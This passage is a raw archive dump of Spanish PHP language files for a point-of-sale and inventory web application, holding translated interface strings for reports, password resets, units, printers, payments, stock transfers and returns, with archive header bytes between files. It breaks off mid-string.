'user' => 'Usuario', 'all_users' => 'Todos los usuarios', 'sales_representative' => 'Informe del agente comercial', 'sales_representative_expenses' => 'Todos los gastos relacionados con el agente comercial', 'summary' => 'Resumen', 'date_range' => 'Rango de fechas', 'stock_expiry_report' => 'Informe de vencimiento de existencias', 'stock_left' => 'Stock restante', /* modified */ 'expired' => 'Expirado', /* modified */ 'view_stocks' => 'Ver existencias', 'expiring_in_1_week' => 'Vencimiento en una semana', 'expiring_in_15_days' => 'Vencimiento en 15 días', 'expiring_in_1_month' => 'Vencimiento en un mes', 'expiring_in_3_months' => 'Vencimiento en 3 meses', 'expiring_in_6_months' => 'Vencimiento en 6 meses', 'expiring_in_1_year' => 'Vencimiento en un año', 'profit_loss' => 'Informe de ganancias / pérdidas', 'opening_stock' => 'Stock de apertura', 'closing_stock' => 'Stock de cierre', /* modified */ 'total_expense' => 'Gasto total', 'net_profit' => 'Beneficio neto', 'total_stock_adjustment' => 'Ajuste total de stock', 'total_stock_recovered' => 'Stock total recuperado', ]; PK G �Z��V�\ \ es/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reminder Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'Las contraseñas deben coincidir y contener al menos 6 caracteres', 'reset' => '¡Tu contraseña ha sido restablecida!', 'sent' => '¡Te hemos enviado por correo el enlace para restablecer tu contraseña!', 'token' => 'El token de recuperación de contraseña es inválido.', 'user' => 'No podemos encontrar ningún usuario con ese correo electrónico.', ]; PK G �ZOj&� � es/unit.phpnu �[��� <?php return [ 'units' => 'Unidades', 'manage_your_units' => 'Administra tus unidades', 'all_your_units' => 'Todas sus unidades', 'name' => 'Nombre', 'short_name' => 'Nombre corto', 'allow_decimal' => 'Permitir decimal', 'added_success' => 'Unidad añadida con éxito', 'updated_success' => 'Unidad actualizada con éxito', 'deleted_success' => 'Unidad eliminada con éxito', 'add_unit' => 'Agregar unidad', 'edit_unit' => 'Editar unidad', ]; PK G �Z � [� � es/printer.phpnu �[��� <?php return [ 'printers' => 'Impresoras', 'add_printer' => 'Agregar impresora', 'name' => 'Nombre de la impresora', 'connection_type' => 'Tipo de conexión', /* modified */ 'capability_profile' => 'Perfil de capacidad', 'ip_address' => 'Dirección IP', 'port' => 'Puerto', 'path' => 'Ruta', /* modified */ 'added_success' => 'Impresora agregada con éxito', 'manage_your_printers' => 'Administre sus impresoras', 'all_your_printer' => 'Todas las impresoras configuradas', 'deleted_success' => 'Impresora eliminada con éxito', 'edit_printer_setting' => 'Editar configuración de impresora', 'receipt_printers' => 'Impresoras de tickets', /* modified */ 'character_per_line' => 'Caracteres por línea', /* modified */ 'printer_name' => 'Nombre de la impresora', 'updated_success' => 'Impresora actualizada con éxito', 'edit_printer' => 'Editar impresora', ]; PK G �Z �PU�Q �Q es/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'Habilitar la edición del precio del producto desde la pantalla de compra', 'sales_commission_agent' => 'Agente comercial', /* modified */ 'sales_commission_agents' => 'Agentes comerciales', /* modified */ 'disable' => 'Inhabilitar', 'logged_in_user' => 'Usuario conectado', 'select_from_users_list' => 'Seleccionar de la lista de usuarios', 'select_from_commisssion_agents_list' => 'Seleccione de la lista de agentes comerciales', /* modified */ 'add_sales_commission_agent' => 'Agregar agente comercial', /* modified */ 'commission_agent_added_success' => 'Agente comercial agregado con éxito', /* modified */ 'edit_sales_commission_agent' => 'Editar agente comercial', /* modified */ 'commission_agent_updated_success' => 'Agente comercial actualizado con éxito', /* modified */ 'commission_agent_deleted_success' => 'Agente comercial eliminado con éxito', /* modified */ 'contact_no' => 'Contacto No.', 'commission_agent' => 'Comisionista', 'cmmsn_percent' => 'Porcentaje de la Comisión de Ventas (%)', 'sales_added' => 'Ventas agregadas', 'sales_with_commission' => 'Ventas con comisión', //"total_sale_with_commission" => "Venta total con comisión", 'total_sale_commission' => 'Total comisión de venta', /* modified */ 'sales_item_addition_method' => 'Método de adición de artículo de venta', 'add_item_in_new_row' => 'Agregar elemento en una nueva fila', 'increase_item_qty' => 'Aumentar la cantidad del artículo si ya existe', 'stock_transfers' => 'Transferencias de stock', /* modified */ 'all_stock_transfers' => 'Todas las transferencias de stock', /* modified */ 'add_stock_transfer' => 'Agregar transferencia de stock', 'list_stock_transfers' => 'Listar transferencias de stock', /* modified */ 'location_from' => 'Desde ubicación', /* modified */ 'location_to' => 'Hasta ubicación', /* modified */ 'shipping_charges' => 'Gastos de envío', 'stock_transfer_added_successfully' => 'Transferéncia de stock añadida con éxito', /* modified */ 'stock_transfer_delete_success' => 'Transferencia de stock borrada con éxito', /* modified */ 'stock_transfer_cannot_be_deleted' => 'Esta transferencia de acciones no puede eliminarse ya que algunas de las existencias ya están vendidas', 'total_transfer_shipping_charges' => 'Cargos de envío de transferencia total', 'enable_inline_tax' => 'Habilitar impuesto en línea en compra y venta', 'save_n_add_opening_stock' => 'Guardar y agregar Stock de apertura', 'add_opening_stock' => 'Añadir Stock de apertura', 'opening_stock_added_successfully' => 'Stock de apertura agregado exitosamente', 'update_n_edit_opening_stock' => 'Actualizar y editar Stock de apertura', 'total_amount_exc_tax' => 'Importe total (Impuesto Exc.)', /* modified */ 'currency_symbol_placement' => 'Colocación de símbolos de moneda', 'before_amount' => 'Antes de la cantidad', 'after_amount' => 'Después de la cantidad', 'barcode_label_error' => 'Id. De SKU no admitido para el tipo de código de barras seleccionado', 'list_products' => 'Lista de productos', 'list_expenses' => 'Lista de gastos', 'add_expiry' => 'Lista de gastos', 'add_manufacturing_auto_expiry' => 'Agregar fecha de fabricación y período de vencimiento', 'tooltip_enable_expiry' => 'Habilitar la caducidad del producto. <br/> <br/><b>Añadir vencimiento del artículo</b>: Para agregar directamente la caducidad del elemento solamente. <br/> <b>Agregar fecha de fabricación y período de vencimiento</b>: Para agregar la fecha de fabricación y el período de vencimiento y calcular la fecha de caducidad en función de eso.', 'quantity' => 'Cantidad', 'on_product_expiry' => 'En el vencimiento del producto', 'keep_selling' => 'Sigue vendiendo', 'stop_selling' => 'Dejar de vender n días antes', 'tooltip_on_product_expiry' => 'Especifique la acción que debe realizarse en la caducidad del producto. <br><br> <b>Sigue vendiendo</b>: Los productos se mantendrán en venta después de la expiración también.<br> <b>Dejar de vender</b>: Deje de vender el artículo n días antes de la caducidad.', 'output_tax_minus_input_tax' => 'Impuesto de salida - Impuesto soportado', 'total_purchase_discount' => 'Descuento total de compra', 'total_sell_discount' => 'Descuento total de venta', 'updated_succesfully' => 'Actualizado con éxito', 'default_unit' => 'Unidad predeterminada', 'enable_brand' => 'Habilitar marcas', 'enable_category' => 'Habilitar categorías', 'enable_sub_category' => 'Habilitar Subcategorías', 'enable_price_tax' => 'Habilitar información de precio e impuestos', 'enable_purchase_status' => 'Habilitar estado de compra', 'tooltip_enable_purchase_status' => 'En la desactivación, todas las compras se marcarán como <i> Artículo recibido </i>', 'recent_product_quantity' => 'Ir a la cantidad del producto', 'full_screen' => 'Pantalla completa', 'Uncategorised' => 'Sin clasificar', 'no_products_to_display' => 'No hay productos para mostrar', 'item_out_of_stock' => 'Producto sin stock', 'go_back' => 'Volver', /* modified */ 'disable_pay_checkout' => 'Desactivar Finalizar compra', /* modified */ 'disable_draft' => 'Desactivar Borrador', /* modified */ 'disable_express_checkout' => 'Desactivar Pago Rápido', /* modified */ 'hide_product_suggestion' => 'No mostrar sugerencia del producto', 'hide_recent_trans' => 'No mostrar transacciones recientes', 'pos_settings' => 'Configuración de POS', 'disable_discount' => 'Deshabilitar Descuento', /* modified */ 'disable_order_tax' => 'Deshabilitar Impuesto', /* modified */ 'customer_groups' => 'Grupos de clientes', 'customer_group' => 'Grupo de clientes', 'all_your_customer_groups' => 'Todos los grupos de clientes', 'add_customer_group' => 'Agregar grupo de clientes', 'customer_group_name' => 'Nombre del grupo de clientes', 'calculation_percentage' => 'Porcentaje de cálculo (%)', 'tooltip_calculation_percentage' => '<b> Precio de venta = Precio de venta establecido para el producto + porcentaje de cálculo </b> <br/> <br/> Puede especificar el porcentaje como positivo para aumentar y disminuir el precio de venta', 'success' => 'Éxito', 'edit_customer_group' => 'Editar grupo de clientes', 'customer_groups_report' => 'Informe de grupos de clientes', 'none' => 'Ninguna', 'enable_imei_or_sr_no' => 'Habilitar IMEI o número de serie', 'tooltip_sr_no' => 'Habilitar o deshabilitar la adición de IMEI o número de serie del producto al agregar productos en la pantalla POS', 'description' => 'Descripción', 'sell_line_description_help' => 'Agregue el IMEI del producto, el número de serie u otra información aquí.', 'unit_cost_before_discount' => 'Coste unitario (antes del descuento)', /* modified */ 'discount_percent' => 'Descuento porcentual', 'application_tour' => 'Recorrido de solicitud', 'profile' => 'Perfil', 'sign_out' => 'Desconectar', 'my_profile' => 'Mi perfil', 'Admin' => 'Administración', 'Cashier' => 'Cajero', 'both_supplier_customer' => 'Ambos (Proveedor y Cliente)', 'months' => 'Meses', 'days' => 'Dias', 'suppliers' => 'Proveedores', 'customers' => 'Clientes', 'enter_product_name_to_print_labels' => 'Introduzca el nombre de los productos para imprimir las etiquetas', 'manage_product_variations' => 'Gestionar variaciones de producto', 'all_variations' => 'Todas las variaciones', 'values' => 'Valores', 'add_variation' => 'Agregar variación', 'variation_name' => 'Nombre de la variación', 'add_variation_values' => 'Agregar valores de variación', 'edit_variation' => 'Editar variación', 'received' => 'Recibido', 'pending' => 'Pendiente', 'ordered' => 'Solicitado', /* modified */ 'search_product_placeholder' => 'Introduzca el nombre del producto / SKU / código de barras de escaneo', 'fixed' => 'Fijo', 'percentage' => 'Porcentaje', 'select_location' => 'Seleccionar ubicación', 'add_description' => 'Agregar descripción', 'cash' => 'Efectivo', 'card' => 'Tarjeta', 'cheque' => 'Cheque', /* modified */ 'bank_transfer' => 'Transferencia bancaria', 'other' => 'Otro', 'payment' => 'Pago', 'total_items' => 'Total artículos', /* modified */ 'total_paying' => 'Pago total', 'balance' => 'Saldo', /* modified */ 'payment_method' => 'Método de pago', 'card_no' => 'Número de tarjeta', 'card_holder_name' => 'Nombre del titular de la tarjeta', 'card_transaction_no' => 'Número de transacción de la tarjeta', 'card_type' => 'Tipo de tarjeta', 'month' => 'Mes', 'year' => 'Año', 'security_code' => 'Código de seguridad', 'cheque_no' => 'Número de cheque', 'bank_account_number' => 'Número de Cuenta Bancaria', 'paid' => 'Pagado', 'due' => 'Debido', 'partial' => 'Parcial', 'no_of_products' => 'Número de productos', 'select_a_date_range' => 'Seleccione un rango de fechas', 'shortcut_help' => "El acceso directo debe ser el nombre de las teclas separadas por '+'", 'example' => 'Ejemplo', 'available_key_names_are' => 'Los nombres de teclas disponibles son', /* modified */ 'add_new_product' => 'Agregar nuevo producto', 'invoice_logo_help' => 'Max :max_size, Solo formatos jpeg, gif o png', /* modified */ 'invoice_logo_help2' => 'Subir solo si desea reemplazar el logotipo anterior', 'printer_name_help' => 'Nombre descriptivo corto para reconocer la impresora', 'char_per_line_help' => 'Número de caracteres que se pueden imprimir por línea', 'ip_address_help' => 'Dirección IP para conectarse a la impresora', 'port_help' => 'La mayoría de las impresoras funcionan en el puerto 9100', 'combination_of_taxes' => 'Combinación de impuestos múltiples', 'product_purchase_report' => 'Informe de compra del producto', 'unit_perchase_price' => 'Precio de compra initario', /* modified */ 'search_product' => 'Buscar producto', 'product_sell_report' => 'Informe de venta del producto', 'unit_sale_price' => 'Precio de venta de la unidad', 'contact_id' => 'ID de contacto', 'category_code_help' => 'El código de categoría es el mismo que el <b> código HSN </b>', 'sub_heading_line' => 'Linea de la subpartida :_number_', /* modified */ 'date_label' => 'Etiqueta de fecha', 'client_id_label' => 'Etiqueta de identificación del cliente', 'product_label' => 'Etiqueta del producto', 'qty_label' => 'Etiqueta de cantidad', 'unit_price_label' => 'Etiqueta de precio unitario', 'subtotal_label' => 'Etiqueta subtotal', 'product_details_to_be_shown' => 'Detalles del producto que se mostrarán', 'show_brand' => 'Mostrar marca', 'show_sku' => 'Mostrar SKU', 'show_cat_code' => 'Mostrar código de categoría', 'show_client_id' => 'Mostrar ID de cliente', 'show_time_with_date' => 'Mostrar hora con fecha', 'show_sale_description' => 'Mostrar descripción de venta', 'product_imei_or_sn' => '(Producto IMEI o Número de serie)', 'purchase_already_exist' => 'El producto no se puede eliminar porque existen compras relacionadas con este producto', 'opening_stock_sold' => 'El producto no se puede eliminar porque se vendieron algunas existencias', /* modified */ 'stock_adjusted' => 'El producto no puede eliminarse porque algunas existencias están ajustadas', 'product_delete_success' => 'Producto eliminado con éxito', 'manage_products' => 'Gestiona tus productos', 'all_products' => 'Todos los productos', 'login' => 'Iniciar sesión', 'register' => 'Registro', 'username' => 'Nombre de usuario', 'password' => 'Contraseña', 'remember_me' => 'Recuérdame', 'forgot_your_password' => '¿Olvidaste tu contraseña?', 'reset_password' => 'Restablecer la contraseña', 'email_address' => 'Dirección de correo electrónico', 'send_password_reset_link' => 'Enviar enlace de restablecimiento de contraseña', 'instructions' => 'Instrucciones', 'instruction_line1' => 'Siga las instrucciones cuidadosamente antes de importar el archivo.', 'instruction_line2' => 'Las columnas del archivo CSV deben estar en el siguiente orden', 'col_no' => 'Número de columna', 'col_name' => 'Nombre de columna', 'instruction' => 'Instrucción', 'required' => 'Necesario', 'optional' => 'Opcional', 'name_ins' => 'Nombre del producto', 'brand_ins' => 'Nombre de la marca', 'brand_ins2' => 'Si no se encuentra, se creará una nueva marca con el nombre dado', 'unit_ins' => 'Nombre de la unidad', 'category_ins' => 'Nombre de la categoría', 'category_ins2' => 'Si no se encuentra, se creará una nueva categoría con el nombre dado', 'sub_category_ins' => 'Nombre de la Subcategoría', 'sub_category_ins2' => 'Si no se encuentra, se creará una nueva subcategoría con el nombre dado en la Categoría <br> padre', 'sku_ins' => 'SKU del producto. Si está en blanco, se generará automáticamente un SKU', 'barcode_type_ins' => 'Tipo de código de barras para el producto', 'barcode_type_ins2' => 'Actualmente compatible', 'default' => 'Defecto', 'manage_stock_ins' => 'Habilitar o deshabilitar gestión de stock', /* modified */ 'alert_qty_ins' => 'Obligatorio si gestión de stock es 1', /* modified */ 'expires_in_ins' => 'Período de vencimiento del producto (solo en números)', 'expire_period_unit' => 'Unidad del período de vencimiento', 'available_options' => 'Opciones Disponibles', 'expire_period_unit_ins' => 'Unidad para el período de vencimiento', 'applicable_tax_ins' => 'Nombre de la tasa impositiva', 'variation_name_ins' => 'Requerido si el tipo de producto es variable', 'variation_name_ins2' => 'Nombre de la variación (Ej: Tamaño, Color, etc.)', 'variation_values_ins' => 'Requerido si el tipo de producto es variable', 'variation_values_ins2' => "Los valores para la variación se separaron con '|' '<br> (Ej: Rojo | Azul | Verde)", 'purchase_price_inc_tax' => 'Precio de compra (incluido el impuesto)', 'purchase_price_inc_tax_ins1' => 'Requerido si no se otorga el precio de compra sin incluir el impuesto', 'purchase_price_inc_tax_ins2' => "Precio de compra (impuestos incluidos) (solo en números) <br> <br> Para productos variables '|' valores separados con <br> el mismo orden que Variation Values <br> (Ej: 84 | 85 | 88) ", 'purchase_price_exc_tax' => 'Precio de compra (sin impuestos)', 'purchase_price_exc_tax_ins1' => 'Requerido si no se incluye el precio de compra con impuestos incluidos', 'purchase_price_exc_tax_ins2' => "Precio de compra (sin incluir impuestos) (solo en números) <br> <br> Para productos variables '|' valores separados con <br> el mismo orden que Variation Values <br> (Ej: 84 | 85 | 88) ", 'profit_margin_ins' => 'Margen de beneficio (solo en números)', 'profit_margin_ins1' => 'Si se usa el margen de beneficio predeterminado en blanco para el negocio de la empresa', 'selling_price' => 'Precio de venta', 'selling_price_ins' => 'Precio de venta (solo en números)', 'selling_price_ins1' => 'Si se calcula el precio de venta en blanco <br> con el precio de compra determinado <br> el impuesto aplicable', 'opening_stock' => 'Stock de apertura', 'opening_stock_ins' => 'Stock inicial (solo en números)', 'only_applicable_to_single_product' => 'Solo aplicable a un solo producto', 'purchase_delete_success' => 'Compra eliminada con éxito', 'location_ins' => 'Si se utiliza la ubicación de la primera empresa en blanco', 'location_ins1' => 'Nombre de la ubicación de la empresa', 'expiry_date' => 'Fecha de caducidad', 'expiry_date_ins' => 'Fecha de vencimiento del stock <br><b>Format: mm-dd-yyyy; Ex: 11-25-2018</b>', 'enable_lot_number' => 'Habilitar número de lote', 'tooltip_enable_lot_number' => 'Esto le permitirá ingresar el número de lote para cada línea de compra en la pantalla de compra.', 'lot_number' => 'Numero de lote', 'enable_racks' => 'Habilitar bastidores', 'tooltip_enable_racks' => 'Habilite esto para agregar detalles de rack de un producto para diferentes ubicaciones comerciales al agregar productos', 'rack_details' => 'Detalles de rack', 'tooltip_rack_details' => 'Ingrese los detalles de dónde se guarda el producto en la tienda, para diferentes ubicaciones comerciales.', 'updated_success' => 'Actualizado con éxito', 'added_success' => 'Agregado exitosamente', 'deleted_success' => 'borrado exitosamente', 'enable_disable_modules' => 'Activar / desactivar módulos', 'opening_stock_help_text' => "<br><br>Para productos variables, separe las cantidades de stock con '|' <br>(Ex: 100|150|200)", 'applicable_tax_help' => '<br><br/>Si el precio de compra (sin impuestos) no es el mismo que <br/>Precio de compra (impuestos incluidos) <br/>entonces debe proporcionar el nombre de la tasa de impuestos.', 'sale_delete_success' => 'Venta eliminada con éxito', 'click_to_edit' => 'Haz click para editar', 'click_to_delete' => 'Haga clic para borrar', 'quotation_heading' => 'Encabezado de oferta', 'quotation' => 'Cotización', 'quotation_no_prefix' => 'Cita No. etiqueta', 'tooltip_quotation_heading' => 'El encabezado de cotizaciones o estimaciones se utiliza al proporcionar cotizaciones a los clientes.', 'quotation_added' => 'Oferta agregada con éxito', 'quotation_updated' => 'Cita actualizada con éxito', 'product_sold_details_register' => 'Detalles de los productos vendidos', 'grand_total' => 'Gran total', 'change_return' => 'Cambiar el retorno', 'date_format' => 'Formato de fecha', 'time_format' => 'Formato de tiempo', '12_hour' => '12 horas', '24_hour' => '24 horas', 'list_quotations' => 'Lista de citas', 'list_drafts' => 'List Drafts', 'you_cannot_delete_this_contact' => 'No se puede eliminar el contacto: las transacciones ya existen para el contacto', 'enable_row' => 'Habilitar fila', 'enable_position' => 'Activar posición', 'rack' => 'Estante', 'row' => 'Fila', 'position' => 'Posición', 'weight' => 'Peso', 'rack_help_text' => "Rack detalles separados por '|' para diferentes ubicaciones comerciales en serie. <br/> (Ej: R1 | R5 | R12) ", 'row_help_text' => "Detalles de fila separados por '|' para diferentes ubicaciones comerciales en serie. <br/> (Ej: ROW1 | ROW2 | ROW3) ", 'position_help_text' => "Detalles de posición separados por '|' para diferentes ubicaciones comerciales en serie. <br/> (Ej: POS1 | POS2 | POS3) ", 'import_opening_stock' => 'Importar stock inicial', 'tooltip_import_opening_stock' => 'Esta característica se usa para importar existencias de apertura de productos ya agregados. Si los productos no se agregan en el sistema, entonces es aconsejable usar productos de importación para agregar detalles del producto con stock de apertura', 'design' => 'Diseño', 'express_checkout_cash' => 'Efectivo', 'express_checkout_card' => 'Tarjeta', 'checkout_multi_pay' => 'Pago múltiple', 'tooltip_checkout_multi_pay' => 'Pagar usando múltiples métodos de pago', 'tooltip_express_checkout_card' => 'Pago exprés con tarjeta', 'card_transaction_details' => 'Detalles de transacción de la tarjeta', 'client_tax_label' => 'Etiqueta de número de impuesto de cliente', 'cat_code_label' => 'Categoría o etiqueta de código HSN', 'list_sell_return' => 'Lista de venta de devolución', 'sell_return' => 'Vender el regreso', 'layout_credit_note' => 'Nota de crédito / detalles de devolución de venta', 'cn_heading' => 'Título', 'cn_no_label' => 'Número de referencia', 'cn_amount_label' => 'Cantidad total', 'custom_field' => 'Campo personalizado :number', 'website' => 'Sitio web', 'total_credit_amt' => 'Importe total del crédito', 'unit_sell_price' => 'Precio de venta de la unidad', 'prefixes' => 'Prefijos', 'purchase_order' => 'Orden de compra', 'stock_transfer' => 'Transferencia de acciones', 'purchase_payment' => 'Pago de compra', 'sell_payment' => 'Vender el pago', 'location_id' => 'ID de ubicación', 'add_edit_opening_stock' => 'Agregar o editar stock abierto', 'expiry_date_will_be_changed_in_pl' => 'La fecha de caducidad de la línea de compra cambiará', 'remove_from_stock' => 'Eliminar de stock', 'stock_removed_successfully' => 'Stock eliminado con éxito', 'product_image' => 'Imagen del producto', 'aspect_ratio_should_be_1_1' => 'La relación de aspecto debe ser 1: 1', 'previous_image_will_be_replaced' => 'La imagen cargada previamente será reemplazada', 'all_category' => 'todas las categorias', 'all_brands' => 'Todas las marcas', 'backup' => 'Apoyo', 'download_complete_backup' => 'Descargar copia de seguridad completa', 'backup_doesnt_exist' => 'La copia de seguridad no existe', 'lot_report' => 'Informe de lote', 'purchase_payment_report' => 'Informe de pago de compra', 'paid_on' => 'Pagado en', 'purchase' => 'Compra', 'cheque_no' => 'Cheque No.', 'card_transaction_no' => 'Número de transacción de la tarjeta', 'bank_account_no' => 'Número de Cuenta Bancaria.', 'sell_payment_report' => 'Vender informe de pago', 'restaurant' => 'Restaurante', 'user_type' => 'Tipo de usuario', 'product_custom_field1' => 'Campo personalizado1', 'product_custom_field2' => 'Campo personalizado2', 'product_custom_field3' => 'Campo personalizado3', 'product_custom_field4' => 'Campo personalizado4', 'image' => 'Imagen', 'image_help_text' => 'Nombre de la imagen con extensión<br/> (El nombre de la imagen debe cargarse en el servidor: ruta )', 'tooltip_kitchen' => 'Esta es la pantalla de la cocina. Aquí se pueden ver los detalles del pedido y los pedidos se pueden marcar como cocinados.', 'tooltip_serviceorder' => 'Esta es la pantalla del personal de servicio. El personal de servicio puede usar esta pantalla para ver todos los pedidos y marcar el pedido como servido.', 'sales_person_label' => 'Etiqueta de persona de ventas', 'show_sales_person' => 'Etiqueta de persona de ventas', 'decimal_value_not_allowed' => 'Valor decimal no permitido', 'theme_color' => 'Color del tema', 'quantity_error_msg_in_lot' => 'Solamente :qty :unidad disponible en el lote seleccionado', 'show_product_expiry' => 'Mostrar caducidad del producto', 'show_lot_number' => 'Mostrar número de lote', 'expiry' => 'Expiración', 'lot' => 'Mucho', 'lot_n_expiry' => 'Lote y vencimiento', 'pos_edit_product_price_help' => 'Editar producto Precio unitario e impuesto', 'name' => 'Nombre', 'payment_type' => 'Tipo de pago', 'manage_payment_account' => 'Administre su cuenta de pago', 'all_payments' => 'Todos los pagos', 'payment_note' => 'Nota de pago', 'payment_account_deleted_success' => 'Cuenta de pago borrada con éxito', 'payment_account_updated_success' => 'Cuenta de pago actualizada con éxito', 'payment_gateway' => 'Gateway de pago en línea', 'payment_account_success' => 'Cuenta de pago agregada con éxito', 'payment_account' => 'Cuenta de pago', 'tooltip_sell_product_column' => 'Hacer clic <i>product name</i> para editar precio, descuento e impuestos. <br/>Hacer clic <i>Icono de comentario</i> para ingresar el número de serie / IMEI o nota adicional.<br/><br/>Hacer clic <i>Icono modificador</i>(si está habilitado) para modificadores', 'credit_limit' => 'Límite de crédito', 'credit_limit_help' => 'Mantener en blanco sin límite', 'cutomer_credit_limit_exeeded' => 'Límite de crédito del cliente excedido <br>:credit_limit', 'custom_payment_1' => 'Pago personalizado 1', 'custom_payment_2' => 'Pago Personalizado 2', 'custom_payment_3' => 'Pago Personalizado 3', 'transaction_no' => 'Transacción No.', 'file' => 'Expediente', 'size' => 'Tamaño', 'date' => 'Fecha', 'age' => 'Años', 'create_new_backup' => 'Crear nueva copia de seguridad', 'all_sales' => 'Todas las ventas', 'opening_balance' => 'Saldo de apertura', 'opening_balance_due' => 'Saldo inicial pendiente', 'import_contacts' => 'Importar contactos', 'contact_type_ins' => '<strong> Opciones disponibles: cliente, proveedor y ambos </strong>', 'contact_id_ins' => 'Dejar en blanco para generar automáticamente ID de contacto', 'required_if_supplier' => 'Requerido si el tipo de contacto es proveedor o ambos', 'pay_term_period_ins' => 'Opciones disponibles: días y meses', 'your_username_will_be' => 'Tu nombre de usuario será', 'currency_exchange_rate' => 'Tasa de cambio de moneda', 'select_all' => 'Seleccionar todo', 'deselect_all' => 'Deseleccionar todo', 'duplicate_product' => 'Producto duplicado', 'delete_selected' => 'Eliminar seleccionado', 'no_row_selected' => 'Ninguna fila seleccionada', 'duplicate_sell' => 'Venta duplicada', 'duplicate_sell_created_successfully' => 'Venta duplicada creada exitosamente', 'modules' => 'Módulos', 'theme' => 'Tema', 'account' => 'Cuenta', 'expense_payment' => 'Pago de gastos', 'expense' => 'Gastos', 'disabled_in_demo' => '¡Característica deshabilitada en demo!', 'selling_price_group' => 'Grupo de precios de venta', 'all_selling_price_group' => 'Grupo de precios de venta total', 'add_selling_price_group' => 'Agregar grupo de precios de venta', 'edit_selling_price_group' => 'Editar grupo de precios de venta', 'access_selling_price_groups' => 'Acceso a grupos de precios de venta', 'save_n_add_selling_price_group_prices' => 'Ahorre y agregue precios de grupo de precios de venta', 'add_selling_price_group_prices' => 'Agregar o editar precios de grupo', 'default_selling_price_inc_tax' => 'Precio de venta predeterminado (Impuestos Inc.)', 'variation' => 'Variación', 'price_group' => 'Precio grupal', 'group_price' => 'Precio de grupo', 'default_selling_price' => 'Precio de venta predeterminado', 'price_group_help_text' => 'Grupo de precios de venta en el que desea vender', 'group_prices' => 'Precios de grupo', 'view_group_prices' => 'Ver precios de grupo', 'save_n_add_another' => 'Guardar y agregar otro', 'update_n_add_another' => 'Actualizar y agregar otro', 'subtotal_editable' => 'Subtotal Editable', 'subtotal_editable_help_text' => 'Marque esto para que el campo del subtotal sea editable para cada producto en la pantalla POS', 'notification_templates' => 'Plantillas de notificación', 'new_sale' => 'Nueva venta', 'payment_reminder' => 'Remisor de pagos', 'payment_received' => 'Pago recibido', 'new_booking' => 'Nueva reserva', 'new_order' => 'Nuevo orden', 'payment_paid' => 'Pago pagado', 'items_received' => 'Artículos recibidos', 'items_pending' => 'Artículos pendientes', 'customer_notifications' => 'Notificaciones al cliente', 'supplier_notifications' => 'Notificaciones al proveedor', 'email_subject' => 'Asunto del email', 'email_body' => 'Cuerpo del correo electronico', 'sms_body' => 'Cuerpo de SMS', 'available_tags' => 'Etiquetas Disponibles', 'send_notification' => 'Enviar notificación', 'new_sale_notification' => 'Nueva Notificación de Venta', 'send_email_only' => 'Enviar solo correo electrónico', 'send_sms_only' => 'Enviar solo SMS', 'send_both_email_n_sms' => 'Enviar correo electrónico y SMS', 'to' => 'A', 'mobile_number' => 'Número de teléfono móvil', 'send' => 'Enviar', 'notification_sent_successfully' => 'Notificación enviada con éxito', 'payment_received_notification' => 'Enviar notificación de pago recibido', 'send_payment_reminder' => 'Enviar Pago Remider', 'new_order_notification' => 'Notificación de nueva orden', 'item_received_notification' => 'Elementos recibidos de notificación', 'item_pending_notification' => 'Elementos pendientes de notificación', 'payment_paid_notification' => 'Notificación de pago pagado', 'mail_host' => 'Anfitrión', 'mail_port' => 'Puerto', 'mail_username' => 'Nombre de usuario', 'mail_password' => 'Contraseña', 'mail_encryption' => 'Encriptación', 'mail_from_address' => 'De la Dirección', 'mail_from_name' => 'De Nombre', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'Ajustes del correo electrónico', 'sms_settings' => 'Configuración de SMS', 'send_to_param_name' => 'Enviar al nombre del parámetro', 'msg_param_name' => 'Nombre del parámetro del mensaje', 'sms_settings_param_key' => 'Parámetro: clave numérica', 'sms_settings_param_val' => 'Parámetro: valor numérico', 'sending' => 'Enviando', 'request_method' => 'Método de solicitud', 'purchase_return' => 'Devolución de compra', 'return_quantity' => 'Cantidad devuelta', 'return_subtotal' => 'Subtotal de retorno', 'quantity_left' => 'Cantidad restante', 'return_total' => 'Total devuelto', 'total_return_tax' => 'Impuesto sobre el rendimiento total', 'purchase_return_added_success' => 'La devolución de la compra se ha añadido correctamente', 'list_purchase_return' => 'Lista de devoluciones de compra', 'all_purchase_returns' => 'Todas las devoluciones de compra', 'parent_purchase' => 'Compra de padres', 'purchase_return_details' => 'Detalles de devolución de compra', 'return_date' => 'Fecha de regreso', 'parent_sale' => 'Venta de padres', 'sell_quantity' => 'Cantidad de venta', 'total_return_discount' => 'Descuento por devolución total', 'sell_return_details' => 'Detalles de devolución de venta', 'sell_details' => 'Detalles de venta', 'return_discount' => 'Descuento de devolución', 'total_unit_transfered' => 'Unidad total transferida', 'total_unit_adjusted' => 'Unidad total ajustada', 'return_exist' => 'La devolución existe para la transacción, edite la devolución en su lugar', 'synced_from_woocommerce' => 'Synced from Woocommerce', 'available_stock_expired' => 'O el stock disponible ha caducado', 'sell_payments' => 'Permiso para agregar / editar / eliminar pagos en la pantalla Lista de ventas / Lista de POS', 'purchase_payments' => 'Permiso para agregar / editar / borrar pagos en listas de compras', 'sell.payments' => 'Agregar / Editar / Eliminar pagos', 'purchase.payments' => 'Agregar / Editar / Eliminar pagos', 'view_payment' => 'Ver Pago', 'card_number' => 'Número de tarjeta', 'transaction_number' => 'Número de transacción', 'card_holder_name' => 'Nombre del titular de la tarjeta', 'card_transaction_number' => 'Transacción con tarjeta No', 'cheque_number' => 'Número de cheque', 'commsn_percent_help' => 'Solo se utiliza si la configuración del tipo de agente de la comisión de ventas es: Usuario registrado o Seleccionar de la lista de usuarios', 'max_amount_to_be_paid_is' => 'La cantidad máxima a pagar es: cantidad', 'adjusted_for' => 'Ajustado para', 'some_qty_returned' => 'Algunas cantidades se devuelven de esta compra', 'total_purchase_return' => 'Total de devolución de compra', 'total_purchase_return_paid' => 'Devolución total de la compra pagada', 'total_purchase_return_inc_tax' => 'Total de devoluciones de compra con impuestos incluidos', 'purchase_sell_report_formula' => 'Total (Venta - Devolución de compra - Compra - Devolución de compra)', 'purchase_return_due' => 'Devolución de compra debida', 'total_purchase_return_due' => 'Total de devoluciones de compra vencidas', 'receive_purchase_return_due' => 'Recibir la devolución de la compra vencida', 'some_qty_returned_from_sell' => 'Algunas cantidades se devuelven de esta venta', 'sell_due' => 'Vender 